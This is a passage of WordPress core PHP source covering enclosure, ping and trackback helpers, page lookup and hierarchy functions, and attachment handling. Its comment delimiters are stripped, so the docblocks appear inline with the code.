return $return; } * * Retrieves enclosures already enclosed for a post. * * @since 1.5.0 * * @param int $post_id Post ID. * @return string[] Array of enclosures for the given post. function get_enclosed( $post_id ) { $custom_fields = get_post_custom( $post_id ); $pung = array(); if ( ! is_array( $custom_fields ) ) { return $pung; } foreach ( $custom_fields as $key => $val ) { if ( 'enclosure' !== $key || ! is_array( $val ) ) { continue; } foreach ( $val as $enc ) { $enclosure = explode( "\n", $enc ); $pung[] = trim( $enclosure[0] ); } } * * Filters the list of enclosures already enclosed for the given post. * * @since 2.0.0 * * @param string[] $pung Array of enclosures for the given post. * @param int $post_id Post ID. return apply_filters( 'get_enclosed', $pung, $post_id ); } * * Retrieves URLs already pinged for a post. * * @since 1.5.0 * * @since 4.7.0 `$post` can be a WP_Post object. * * @param int|WP_Post $post Post ID or object. * @return string[]|false Array of URLs already pinged for the given post, false if the post is not found. function get_pung( $post ) { $post = get_post( $post ); if ( ! $post ) { return false; } $pung = trim( $post->pinged ); $pung = preg_split( '/\s/', $pung ); * * Filters the list of already-pinged URLs for the given post. * * @since 2.0.0 * * @param string[] $pung Array of URLs already pinged for the given post. return apply_filters( 'get_pung', $pung ); } * * Retrieves URLs that need to be pinged. * * @since 1.5.0 * @since 4.7.0 `$post` can be a WP_Post object. * * @param int|WP_Post $post Post ID or post object. * @return string[]|false List of URLs yet to ping. function get_to_ping( $post ) { $post = get_post( $post ); if ( ! $post ) { return false; } $to_ping = sanitize_trackback_urls( $post->to_ping ); $to_ping = preg_split( '/\s/', $to_ping, -1, PREG_SPLIT_NO_EMPTY ); * * Filters the list of URLs yet to ping for the given post. * * @since 2.0.0 * * @param string[] $to_ping List of URLs yet to ping. return apply_filters( 'get_to_ping', $to_ping ); } * * Does trackbacks for a list of URLs. * * @since 1.0.0 * * @param string $tb_list Comma separated list of URLs. * @param int $post_id Post ID. function trackback_url_list( $tb_list, $post_id ) { if ( ! empty( $tb_list ) ) { Get post data. $postdata = get_post( $post_id, ARRAY_A ); Form an excerpt. $excerpt = strip_tags( $postdata['post_excerpt'] ? $postdata['post_excerpt'] : $postdata['post_content'] ); if ( strlen( $excerpt ) > 255 ) { $excerpt = substr( $excerpt, 0, 252 ) . '…'; } $trackback_urls = explode( ',', $tb_list ); foreach ( (array) $trackback_urls as $tb_url ) { $tb_url = trim( $tb_url ); trackback( $tb_url, wp_unslash( $postdata['post_title'] ), $excerpt, $post_id ); } } } Page functions. * * Gets a list of page IDs. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return string[] List of page IDs as strings. function get_all_page_ids() { global $wpdb; $page_ids = wp_cache_get( 'all_page_ids', 'posts' ); if ( ! is_array( $page_ids ) ) { $page_ids = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_type = 'page'" ); wp_cache_add( 'all_page_ids', $page_ids, 'posts' ); } return $page_ids; } * * Retrieves page data given a page ID or page object. * * Use get_post() instead of get_page(). * * @since 1.5.1 * @deprecated 3.5.0 Use get_post() * * @param int|WP_Post $page Page object or page ID. Passed by reference. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $filter Optional. How the return value should be filtered. Accepts 'raw', * 'edit', 'db', 'display'. Default 'raw'. * @return WP_Post|array|null WP_Post or array on success, null on failure. function get_page( $page, $output = OBJECT, $filter = 'raw' ) { return get_post( $page, $output, $filter ); } * * Retrieves a page given its path. * * @since 2.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $page_path Page path. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Post object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string|array $post_type Optional. Post type or array of post types. Default 'page'. * @return WP_Post|array|null WP_Post (or array) on success, or null on failure. function get_page_by_path( $page_path, $output = OBJECT, $post_type = 'page' ) { global $wpdb; $last_changed = wp_cache_get_last_changed( 'posts' ); $hash = md5( $page_path . serialize( $post_type ) ); $cache_key = "get_page_by_path:$hash:$last_changed"; $cached = wp_cache_get( $cache_key, 'post-queries' ); if ( false !== $cached ) { Special case: '0' is a bad `$page_path`. if ( '0' === $cached || 0 === $cached ) { return; } else { return get_post( $cached, $output ); } } $page_path = rawurlencode( urldecode( $page_path ) ); $page_path = str_replace( '%2F', '/', $page_path ); $page_path = str_replace( '%20', ' ', $page_path ); $parts = explode( '/', trim( $page_path, '/' ) ); $parts = array_map( 'sanitize_title_for_query', $parts ); $escaped_parts = esc_sql( $parts ); $in_string = "'" . implode( "','", $escaped_parts ) . "'"; if ( is_array( $post_type ) ) { $post_types = $post_type; } else { $post_types = array( $post_type, 'attachment' ); } $post_types = esc_sql( $post_types ); $post_type_in_string = "'" . implode( "','", $post_types ) . "'"; $sql = " SELECT ID, post_name, post_parent, post_type FROM $wpdb->posts WHERE post_name IN ($in_string) AND post_type IN ($post_type_in_string) "; $pages = $wpdb->get_results( $sql, OBJECT_K ); $revparts = array_reverse( $parts ); $foundid = 0; foreach ( (array) $pages as $page ) { if ( $page->post_name == $revparts[0] ) { $count = 0; $p = $page; * Loop through the given path parts from right to left, * ensuring each matches the post ancestry. while ( 0 != $p->post_parent && isset( $pages[ $p->post_parent ] ) ) { ++$count; $parent = $pages[ $p->post_parent ]; if ( ! isset( $revparts[ $count ] ) || $parent->post_name != $revparts[ $count ] ) { break; } $p = $parent; } if ( 0 == $p->post_parent && count( $revparts ) === $count + 1 && $p->post_name == $revparts[ $count ] ) { $foundid = $page->ID; if ( $page->post_type == $post_type ) { break; } } } } We cache misses as well as hits. wp_cache_set( $cache_key, $foundid, 'post-queries' ); if ( $foundid ) { return get_post( $foundid, $output ); } return null; } * * Identifies descendants of a given page ID in a list of page objects. * * Descendants are identified from the `$pages` array passed to the function. No database queries are performed. * * @since 1.5.1 * * @param int $page_id Page ID. * @param WP_Post[] $pages List of page objects from which descendants should be identified. * @return WP_Post[] List of page children. function get_page_children( $page_id, $pages ) { Build a hash of ID -> children. $children = array(); foreach ( (array) $pages as $page ) { $children[ (int) $page->post_parent ][] = $page; } $page_list = array(); Start the search by looking at immediate children. if ( isset( $children[ $page_id ] ) ) { Always start at the end of the stack in order to preserve original `$pages` order. $to_look = array_reverse( $children[ $page_id ] ); while ( $to_look ) { $p = array_pop( $to_look ); $page_list[] = $p; if ( isset( $children[ $p->ID ] ) ) { foreach ( array_reverse( $children[ $p->ID ] ) as $child ) { Append to the `$to_look` stack to descend the tree. $to_look[] = $child; } } } } return $page_list; } * * Orders the pages with children under parents in a flat list. * * It uses auxiliary structure to hold parent-children relationships and * runs in O(N) complexity * * @since 2.0.0 * * @param WP_Post[] $pages Posts array (passed by reference). * @param int $page_id Optional. Parent page ID. Default 0. * @return string[] Array of post names keyed by ID and arranged by hierarchy. Children immediately follow their parents. function get_page_hierarchy( &$pages, $page_id = 0 ) { if ( empty( $pages ) ) { return array(); } $children = array(); foreach ( (array) $pages as $p ) { $parent_id = (int) $p->post_parent; $children[ $parent_id ][] = $p; } $result = array(); _page_traverse_name( $page_id, $children, $result ); return $result; } * * Traverses and return all the nested children post names of a root page. * * $children contains parent-children relations * * @since 2.9.0 * @access private * * @see _page_traverse_name() * * @param int $page_id Page ID. * @param array $children Parent-children relations (passed by reference). * @param string[] $result Array of page names keyed by ID (passed by reference). function _page_traverse_name( $page_id, &$children, &$result ) { if ( isset( $children[ $page_id ] ) ) { foreach ( (array) $children[ $page_id ] as $child ) { $result[ $child->ID ] = $child->post_name; _page_traverse_name( $child->ID, $children, $result ); } } } * * Builds the URI path for a page. * * Sub pages will be in the "directory" under the parent page post name. * * @since 1.5.0 * @since 4.6.0 The `$page` parameter was made optional. * * @param WP_Post|object|int $page Optional. Page ID or WP_Post object. Default is global $post. * @return string|false Page URI, false on error. function get_page_uri( $page = 0 ) { if ( ! $page instanceof WP_Post ) { $page = get_post( $page ); } if ( ! $page ) { return false; } $uri = $page->post_name; foreach ( $page->ancestors as $parent ) { $parent = get_post( $parent ); if ( $parent && $parent->post_name ) { $uri = $parent->post_name . '/' . $uri; } } * * Filters the URI for a page. * * @since 4.4.0 * * @param string $uri Page URI. * @param WP_Post $page Page object. return apply_filters( 'get_page_uri', $uri, $page ); } * * Retrieves an array of pages (or hierarchical post type items). * * @since 1.5.0 * @since 6.3.0 Use WP_Query internally. * * @param array|string $args { * Optional. Array or string of arguments to retrieve pages. * * @type int $child_of Page ID to return child and grandchild pages of. Note: The value * of `$hierarchical` has no bearing on whether `$child_of` returns * hierarchical results. Default 0, or no restriction. * @type string $sort_order How to sort retrieved pages. Accepts 'ASC', 'DESC'. Default 'ASC'. * @type string $sort_column What columns to sort pages by, comma-separated. Accepts 'post_author', * 'post_date', 'post_title', 'post_name', 'post_modified', 'menu_order', * 'post_modified_gmt', 'post_parent', 'ID', 'rand', 'comment_count'. * 'post_' can be omitted for any values that start with it. * Default 'post_title'. * @type bool $hierarchical Whether to return pages hierarchically. If false in conjunction with * `$child_of` also being false, both arguments will be disregarded. * Default true. * @type int[] $exclude Array of page IDs to exclude. Default empty array. * @type int[] $include Array of page IDs to include. Cannot be used with `$child_of`, * `$parent`, `$exclude`, `$meta_key`, `$meta_value`, or `$hierarchical`. * Default empty array. * @type string $meta_key Only include pages with this meta key. Default empty. * @type string $meta_value Only include pages with this meta value. Requires `$meta_key`. * Default empty. * @type string $authors A comma-separated list of author IDs. Default empty. * @type int $parent Page ID to return direct children of. Default -1, or no restriction. * @type string|int[] $exclude_tree Comma-separated string or array of page IDs to exclude. * Default empty array. * @type int $number The number of pages to return. Default 0, or all pages. * @type int $offset The number of pages to skip before returning. Requires `$number`. * Default 0. * @type string $post_type The post type to query. Default 'page'. * @type string|array $post_status A comma-separated list or array of post statuses to include. * Default 'publish'. * } * @return WP_Post[]|false Array of pages (or hierarchical post type items). Boolean false if the * specified post type is not hierarchical or the specified status is not * supported by the post type. function get_pages( $args = array() ) { $defaults = array( 'child_of' => 0, 'sort_order' => 'ASC', 'sort_column' => 'post_title', 'hierarchical' => 1, 'exclude' => array(), 'include' => array(), 'meta_key' => '', 'meta_value' => '', 'authors' => '', 'parent' => -1, 'exclude_tree' => array(), 'number' => '', 'offset' => 0, 'post_type' => 'page', 'post_status' => 'publish', ); $parsed_args = wp_parse_args( $args, $defaults ); $number = (int) $parsed_args['number']; $offset = (int) $parsed_args['offset']; $child_of = (int) $parsed_args['child_of']; $hierarchical = $parsed_args['hierarchical']; $exclude = $parsed_args['exclude']; $meta_key = $parsed_args['meta_key']; $meta_value = $parsed_args['meta_value']; $parent = $parsed_args['parent']; $post_status = $parsed_args['post_status']; Make sure the post type is hierarchical. $hierarchical_post_types = get_post_types( array( 'hierarchical' => true ) ); if ( ! in_array( $parsed_args['post_type'], $hierarchical_post_types, true ) ) { return false; } if ( $parent > 0 && ! $child_of ) { $hierarchical = false; } Make sure we have a valid post status. if ( ! is_array( $post_status ) ) { $post_status = explode( ',', $post_status ); } if ( array_diff( $post_status, get_post_stati() ) ) { return false; } $query_args = array( 'orderby' => 'post_title', 'order' => 'ASC', 'post__not_in' => wp_parse_id_list( $exclude ), 'meta_key' => $meta_key, 'meta_value' => $meta_value, 'posts_per_page' => -1, 'offset' => $offset, 'post_type' => $parsed_args['post_type'], 'post_status' => $post_status, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'ignore_sticky_posts' => true, 'no_found_rows' => true, ); if ( ! empty( $parsed_args['include'] ) ) { $child_of = 0; Ignore child_of, parent, exclude, meta_key, and meta_value params if using include. $parent = -1; unset( $query_args['post__not_in'], $query_args['meta_key'], $query_args['meta_value'] ); $hierarchical = false; $query_args['post__in'] = wp_parse_id_list( $parsed_args['include'] ); } if ( ! empty( $parsed_args['authors'] ) ) { $post_authors = wp_parse_list( $parsed_args['authors'] ); if ( ! empty( $post_authors ) ) { $query_args['author__in'] = array(); foreach ( $post_authors as $post_author ) { Do we have an author id or an author login? if ( 0 == (int) $post_author ) { $post_author = get_user_by( 'login', $post_author ); if ( empty( $post_author ) ) { continue; } if ( empty( $post_author->ID ) ) { continue; } $post_author = $post_author->ID; } $query_args['author__in'][] = (int) $post_author; } } } if ( is_array( $parent ) ) { $post_parent__in = array_map( 'absint', (array) $parent ); if ( ! empty( $post_parent__in ) ) { $query_args['post_parent__in'] = $post_parent__in; } } elseif ( $parent >= 0 ) { $query_args['post_parent'] = $parent; } * Maintain backward compatibility for `sort_column` key. * Additionally to `WP_Query`, it has been supporting the `post_modified_gmt` field, so this logic will translate * it to `post_modified` which should result in the same order given the two dates in the fields match. $orderby = wp_parse_list( $parsed_args['sort_column'] ); $orderby = array_map( static function ( $orderby_field ) { $orderby_field = trim( $orderby_field ); if ( 'post_modified_gmt' === $orderby_field || 'modified_gmt' === $orderby_field ) { $orderby_field = str_replace( '_gmt', '', $orderby_field ); } return $orderby_field; }, $orderby ); if ( $orderby ) { $query_args['orderby'] = array_fill_keys( $orderby, $parsed_args['sort_order'] ); } $order = $parsed_args['sort_order']; if ( $order ) { $query_args['order'] = $order; } if ( ! empty( $number ) ) { $query_args['posts_per_page'] = $number; } * * Filters query arguments passed to WP_Query in get_pages. * * @since 6.3.0 * * @param array $query_args Array of arguments passed to WP_Query. * @param array $parsed_args Array of get_pages() arguments. $query_args = apply_filters( 'get_pages_query_args', $query_args, $parsed_args ); $pages = new WP_Query(); $pages = $pages->query( $query_args ); if ( $child_of || $hierarchical ) { $pages = get_page_children( $child_of, $pages ); } if ( ! empty( $parsed_args['exclude_tree'] ) ) { $exclude = wp_parse_id_list( $parsed_args['exclude_tree'] ); foreach ( $exclude as $id ) { $children = get_page_children( $id, $pages ); foreach ( $children as $child ) { $exclude[] = $child->ID; } } $num_pages = count( $pages ); for ( $i = 0; $i < $num_pages; $i++ ) { if ( in_array( $pages[ $i ]->ID, $exclude, true ) ) { unset( $pages[ $i ] ); } } } * * Filters the retrieved list of pages. * * @since 2.1.0 * * @param WP_Post[] $pages Array of page objects. * @param array $parsed_args Array of get_pages() arguments. return apply_filters( 'get_pages', $pages, $parsed_args ); } Attachment functions. * * Determines whether an attachment URI is local and really an attachment. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.0.0 * * @param string $url URL to check * @return bool True on success, false on failure. function is_local_attachment( $url ) { if ( ! str_contains( $url, home_url() ) ) { return false; } if ( str_contains( $url, home_url( '/?attachment_id=' ) ) ) { return true; } $id = url_to_postid( $url ); if ( $id ) { $post = get_post( $id ); if ( 'attachment' === $post->post_type ) { return true; } } return false; } * * Inserts an attachment. * * If you set the 'ID' in the $args parameter, it will mean that you are * updating and attempt to update the attachment. You can also set the * attachment name or title by setting the key 'post_name' or 'post_title'. * * You can set the dates for the attachment manually by setting the 'post_date' * and 'post_date_gmt' keys' values. * * By default, the comments will use the default settings for whether the * comments are allowed. You can close them manually or keep them open by * setting the value for the 'comment_status' key. * * @since 2.0.0 * @since 4.7.0 Added the `$wp_error` parameter to allow a WP_Error to be returned on failure. * @since 5.6.0 Added the `$fire_after_hooks` parameter. * * @see wp_insert_post() * * @param string|array $args Arguments for inserting an attachment. * @param string|false $file Optional. Filename. Default false. * @param int $parent_post_id Optional. Parent post ID or 0 for no parent. Default 0. * @param bool $wp_error Optional. Whether to return a WP_Error on failure. Default false. * @param bool $fire_after_hooks Optional. Whether to fire the after insert hooks. Default true. * @return int|WP_Error The attachment ID on success. The value 0 or WP_Error on failure. function wp_insert_attachment( $args, $file = false, $parent_post_id = 0, $wp_error = false, $fire_after_hooks = true ) { $defaults = array( 'file' => $file, 'post_parent' => 0, ); $data = wp_parse_args( $args, $defaults ); if ( ! empty( $parent_post_id ) ) { $data['post_parent'] = $parent_post_id; } $data['post_type'] = 'attachment'; return wp_insert_post( $data, $wp_error, $fire_after_hooks ); } * * Trashes or deletes an attachment. * * When an attachment is permanently deleted, the file will also be removed. * Deletion removes all post meta fields, taxonomy, comments, etc. associated * with the attachment (except the main post). * * The attachment is moved to the Trash instead of permanently deleted unless Trash * for media is disabled, item is already in the Trash, or $force_delete is true. * * @since 2.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Attachment ID. * @param bool $force_delete Optional. Whether to bypass Trash and force deletion. * Default false. * @return WP_Post|false|null Post data on success, false or null on failure. function wp_delete_attachment( $post_id, $force_delete = false ) { global $wpdb; $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id ) ); if ( ! $post ) { return $post; } $post = get_post( $post ); if ( 'attachment' !== $post->post_type ) { return false; } if ( ! $force_delete && EMPTY_TRASH_DAYS && MEDIA_TRASH && 'trash' !== $post->post_status ) { return wp_trash_post( $post_id ); } * * Filters whether an attachment deletion should take place. * * @since 5.5.0 * * @param WP_Post|false|null $delete Whether to go forward with deletion. * @param WP_Post $post Post object. * @param bool $force_delete Whether to bypass the Trash. $check = apply_filters( 'pre_delete_attachment', null, $post, $force_delete ); if ( null !== $check ) { return $check; } delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); $meta = wp_get_attachment_metadata( $post_id ); $backup_sizes = get_post_meta( $post->ID, '_wp_attachment_backup_sizes', true ); $file = get_attached_file( $post_id ); if ( is_multisite() && is_string( $file ) && ! empty( $file ) ) { clean_dirsize_cache( $file ); } * * Fires before an attachment is deleted, at the start of wp_delete_attachment(). * * @since 2.0.0 * @since 5.5.0 Added the `$post` parameter. * * @param int $post_id Attachment ID. * @param WP_Post $post Post object. do_action( 'delete_attachment', $post_id, $post ); wp_delete_object_term_relationships( $post_id, array( 'category', 'post_tag' ) ); wp_delete_object_term_relationships( $post_id, get_object_taxonomies( $post->post_type ) ); Delete all for any posts. delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); wp_defer_comment_counting( true ); $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d ORDER BY comment_ID DESC", $post_id ) ); foreach ( $comment_ids as $comment_id ) { wp_delete_comment( $comment_id, true ); } wp_defer_comment_counting( false ); $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $post_id ) ); foreach ( $post_meta_ids as $mid ) { delete_metadata_by_mid( 'post', $mid ); } * This action is documented in wp-includes/post.php do_action( 'delete_post', $post_id, $post ); $result = $wpdb->delete( $wpdb->posts, array( 'ID' => $post_id ) ); if ( ! $result ) { return false; } * This action is documented in wp-includes/post.php do_action( 'deleted_post', $post_id, $post ); wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file ); clean_post_cache( $post ); return $post; } * * Deletes all files that belong to the given attachment. * * @since 4.9.7 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Attachment ID. * @param array $meta The attachment's meta data. * @param array $backup_sizes The meta data for the attachment's backup images. * @param string $file Absolute path to the attachment's file. * @return bool True on success, false on failure. function wp_delete_attachment_files( $post_id, $meta, $backup_sizes, $file ) { global $wpdb; $uploadpath = wp_get_upload_dir(); $deleted = true; if ( ! empty( $meta['thumb'] ) ) { Don't delete the thumb if another attachment uses it. if ( ! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id ) ) ) { $thumbfile = str_replace( wp_basename( $file ), $meta['thumb'], $file ); if ( ! empty( $thumbfile ) ) { $thumbfile = path_join( $uploadpath['basedir'], $thumbfile ); $thumbdir = path_join( $uploadpath['basedir'], dirname( $file ) ); if ( ! wp_delete_file_from_directory( $thumbfile, $thumbdir ) ) { $deleted = false; } } } } Remove intermediate and backup images if there are any. if ( isset( $meta['sizes'] ) && is_array( $meta['sizes'] ) ) { $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) ); foreach ( $meta['sizes'] as $size => $sizeinfo ) { $intermediate_file = str_replace( wp_basename( $file ), $sizeinfo['file'], $file ); if ( ! empty( $intermediate_file ) ) { $intermediate_file = path_join( $uploadpath['basedir'], $intermediate_file ); if ( ! wp_delete_file_from_directory( $intermediate_file, $intermediate_dir ) ) { $deleted = false; } } } } if ( ! empty( $meta['original_image'] ) ) { if ( empty( $intermediate_dir ) ) { $intermediate_dir = path_join( $uploadpath['basedir'], dirname( $file ) ); } $original_image = str_replace( wp_basename( $file ), $meta['original_image'], $file ); if ( ! empty( $original_image ) ) { $original_image = path_join( $uploadpath['basedir'], $original_image ); if ( ! wp_delete_file_from_directory( $original_image, $intermediate_dir ) ) { $deleted = false; } } } if ( is_array( $backup_sizes ) ) { $del_dir = path_join( $uploadpath['basedir'], dirname( $meta['file'] ) ); foreach ( $backup_sizes as $size ) { $del_file = path_join( dirname( $meta['file'] ), $size['file'] ); if ( ! empty( $del_file ) ) { $del_file = path_join( $uploadpath['basedir'], $del_file ); if ( ! wp_delete_file_from_directory( $del_file, $del_dir ) ) { $deleted = false; } } } } if ( ! wp_delete_file_from_directory( $file, $uploadpath['basedir'] ) ) { $deleted = false; } return $deleted; } * * Retrieves attachment metadata for attachment ID. * * @since 2.1.0 * @since 6.0.0 The `$filesize` value was added to the returned array. * * @param int $attachment_id Attachment post ID. Defaults to global $post. * @param bool $unfiltered Optional. If true, filters are not run. Default false. * @return array|false { * Attachment metadata. False on failure. * * @type int $width The width of the attachment. * @type int $height The height of the attachment. * @type string $file The file path relative to `wp-content/uploads`. * @type array $sizes Keys are size slugs, each value is an array containing * 'file', 'width', 'height', and 'mime-type'. * @type array $image_meta Image metadata. * @type int $filesize File size of the attachment. * } function wp_get_attachment_metadata( $attachment_id = 0, $unfiltered = false ) { $attachment_id = (int) $attachment_id; if ( ! $attachment_id ) { $post = get_post(); if ( ! $post ) { return false; } $attachment_id = $post->ID; } $data = get_post_meta( $attachment_id, '_wp_attachment_metadata', true ); if ( ! $data ) { return false; } if ( $unfiltered ) { return $data; } * * Filters the attachment meta data. * * @since 2.1.0 * * @param array $data Array of meta data for the given attachment. * @param int $attachment_id Attachment post ID. return apply_filters( 'wp_get_attachment_metadata', $data, $attachment_id ); } * * Updates metadata for an attachment. * * @since 2.1.0 * * @param int $attachment_id Attachment post ID. * @param array $data Attachment meta data. * @return int|false False if $post is invalid. function wp_update_attachment_metadata( $attachment_id, $data ) { $attachment_id = (int) $attachment_id; $post = get_post( $attachment_id ); if ( ! $post ) { return false; } * * Filters the updated attachment meta data. * * @since 2.1.0 * * @param array $data Array of updated attachment meta data. * @param int $attachment_id Attachment post ID. $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ); if ( $data ) { return update_post_meta( $post->ID, '_wp_attachment_metadata', $data ); } else { return delete_post_meta( $post->ID, '_wp_attachment_metadata' ); } } * * Retrieves the URL for an attachment. * * @since 2.1.0 * * @global string $pagenow The filename of the current screen. * * @param int $attachment_id Optional. Attachment post ID. Defaults to global $post. * @return string|false Attachment URL, otherwise false. function wp_get_attachment_url( $attachment_id = 0 ) { global $pagenow; $attachment_id = (int) $attachment_id; $post = get_post( $attachment_id ); if ( ! $post ) { return false; } if ( 'attachment' !== $post->post_type ) { return false; } $url = ''; Get attached file. $file = get_post_meta( $post->ID, '_wp_attached_file', true ); if ( $file ) { Get upload directory. $uploads = wp_get_upload_dir(); if ( $uploads && false === $uploads['error'] ) { Check that the upload base exists in the file location. if ( str_starts_with( $file, $uploads['basedir'] ) ) { Replace file location with url location. $url = str_replace( $uploads['basedir'], $uploads['baseurl'], $file ); } elseif ( str_contains( $file, 'wp-content/uploads' ) ) { Get the directory name relative to the basedir (back compat for pre-2.7 uploads). $url = trailingslashit( $uploads['baseurl'] . '/' . _wp_get_attachment_relative_path( $file ) ) . wp_basename( $file ); } else { It's a newly-uploaded file, therefore $file is relative to the basedir. $url = $uploads['baseurl'] . "/$file"; } } } * If any of the above options failed, Fallback on the GUID as used pre-2.7, * not recommended to rely upon this. if ( ! $url ) { $url = get_the_guid( $post->ID ); } On SSL front end, URLs should be HTTPS. if ( is_ssl() && ! is_admin() && 'wp-login.php' !== $pagenow ) { $url = set_url_scheme( $url ); } * * Filters the attachment URL. * * @since 2.1.0 * * @param string $url URL for the given attachment. * @param int $attachment_id Attachment post ID. $url = apply_filters( 'wp_get_attachment_url', $url, $post->ID ); if ( ! $url ) { return false; } return $url; } * * Retrieves the caption for an attachment. * * @since 4.6.0 * * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`. * @return string|false Attachment caption on success, false on failure. function wp_get_attachment_caption( $post_id = 0 ) { $post_id = (int) $post_id; $post = get_post( $post_id ); if ( ! $post ) { return false; } if ( 'attachment' !== $post->post_type ) { return false; } $caption = $post->post_excerpt; * * Filters the attachment caption. * * @since 4.6.0 * * @param string $caption Caption for the given attachment. * @param int $post_id Attachment ID. return apply_filters( 'wp_get_attachment_caption', $caption, $post->ID ); } * * Retrieves URL for an attachment thumbnail. * * @since 2.1.0 * @since 6.1.0 Changed to use wp_get_attachment_image_url(). * * @param int $post_id Optional. Attachment ID. Default is the ID of the global `$post`. * @return string|false Thumbnail URL on success, false on failure. function wp_get_attachment_thumb_url( $post_id = 0 ) { $post_id = (int) $post_id; * This uses image_downsize() which also looks for the (very) old format $image_meta['thumb'] * when the newer format $image_meta['sizes']['thumbnail'] doesn't exist. $thumbnail_url = wp_get_attachment_image_url( $post_id, 'thumbnail' ); if ( empty( $thumbnail_url ) ) { return false; } * * Filters the attachment thumbnail URL. * * @since 2.1.0 * * @param string $thumbnail_url URL for the attachment thumbnail. * @param int $post_id Attachment ID. return apply_filters( 'wp_get_attachment_thumb_url', $thumbnail_url, $post_id ); } * * Verifies an attachment is of a given type. * * @since 4.2.0 * * @param string $type Attachment type. Accepts 'image', 'audio', or 'video'. * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post. * @return bool True if one of the accepted types, false otherwise. function wp_attachment_is( $type, $post = null ) { $post = get_post( $post ); if ( ! $post ) { return false; } $file = get_attached_file( $post->ID ); if ( ! $file ) { return false; } if ( str_starts_with( $post->post_mime_type, $type . '/' ) ) { return true; } $check = wp_check_filetype( $file ); if ( empty( $check['ext'] ) ) { return false; } $ext = $check['ext']; if ( 'import' !== $post->post_mime_type ) { return $type === $ext; } switch ( $type ) { case 'image': $image_exts = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'webp' ); return in_array( $ext, $image_exts, true ); case 'audio': return in_array( $ext, wp_get_audio_extensions(), true ); case 'video': return in_array( $ext, wp_get_video_extensions(), true ); default: return $type === $ext; } } * * Determines whether an attachment is an image. * * For more information on this and similar theme functions, check out * the {@link https:developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.1.0 * @since 4.2.0 Modified into wrapper for wp_attachment_is() and * allowed WP_Post object to be passed. * * @param int|WP_Post $post Optional. Attachment ID or object. Default is global $post. * @return bool Whether the attachment is an image. function wp_attachment_is_image( $post = null ) { return wp_attachment_is( 'image', $post ); } * * Retrieves the icon for a MIME type or attachment. * * @since 2.1.0 * * @param string|int $mime MIME type or attachment ID. * @return string|false Icon, false otherwise. function wp_mime_type_icon( $mime = 0 ) { if ( ! is_numeric( $mime ) ) { $icon = wp_cache_get( "mime_type_icon_$mime" ); } $post_id = 0; if ( empty( $icon ) ) { $post_mimes = array(); if ( is_numeric( $mime ) ) { $mime = (int) $mime; $post = get_post( $mime ); if ( $post ) { $post_id = (int) $post->ID; $file = get_attached_file( $post_id ); $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $file ); if ( ! empty( $ext ) ) { $post_mimes[] = $ext; $ext_type = wp_ext2type( $ext ); if ( $ext_type ) { $post_mimes[] = $ext_type; } } $mime = $post->post_mime_type; } else { $mime = 0; } } else { $post_mimes[] = $mime; } $icon_files = wp_cache_get( 'icon_files' ); if ( ! is_array( $icon_files ) ) { * * Filters the icon directory path. * * @since 2.0.0 * * @param string $path Icon directory absolute path. $icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' ); * * Filters the icon directory URI. * * @since 2.0.0 * * @param string $uri Icon directory URI. $icon_dir_uri = apply_filters( 'icon_dir_uri', includes_url( 'images/media' ) ); * * Filters the array of icon directory URIs. * * @since 2.5.0 * * @param string[] $uris Array of icon directory URIs keyed by directory absolute path. $dirs = apply_filters( 'icon_dirs', array( $icon_dir => $icon_dir_uri ) ); $icon_files = array(); while ( $dirs ) { $keys = array_keys( $dirs ); $dir = array_shift( $keys ); $uri = array_shift( $dirs ); $dh = opendir( $dir ); if ( $dh ) { while ( false !== $file = readdir( $dh ) ) { $file = wp_basename( $file ); if ( str_starts_with( $file, '.' ) ) { continue; } $ext = strtolower( substr( $file, -4 ) ); if ( ! in_array( $ext, array( '.png', '.gif', '.jpg' ), true ) ) { if ( is_dir( "$dir/$file" ) ) { $dirs[ "$dir/$file" ] = "$uri/$file"; } continue; } $icon_files[ "$dir/$file" ] = "$uri/$file"; } closedir( $dh ); } } wp_cache_add( 'icon_files', $icon_files, 'default', 600 ); } $types = array(); Icon wp_basename - extension = MIME wildcard. foreach ( $icon_files as $file => $uri ) { $types[ preg_replace( '/^([^.]*).*$/', '$1', wp_basename( $file ) ) ] =& $icon_files[ $file ]; } if ( ! empty( $mime ) ) { $post_mimes[] = substr( $mime, 0, strpos( $mime, '/' ) ); $post_mimes[] = substr( $mime, strpos( $mime, '/' ) + 1 ); $post_mimes[] = str_replace( '/', '_', $mime ); } $matches = wp_match_mime_types( array_keys( $types ), $post_mimes ); $matches['default'] = array( 'default' ); foreach ( $matches as $match => $wilds ) { foreach 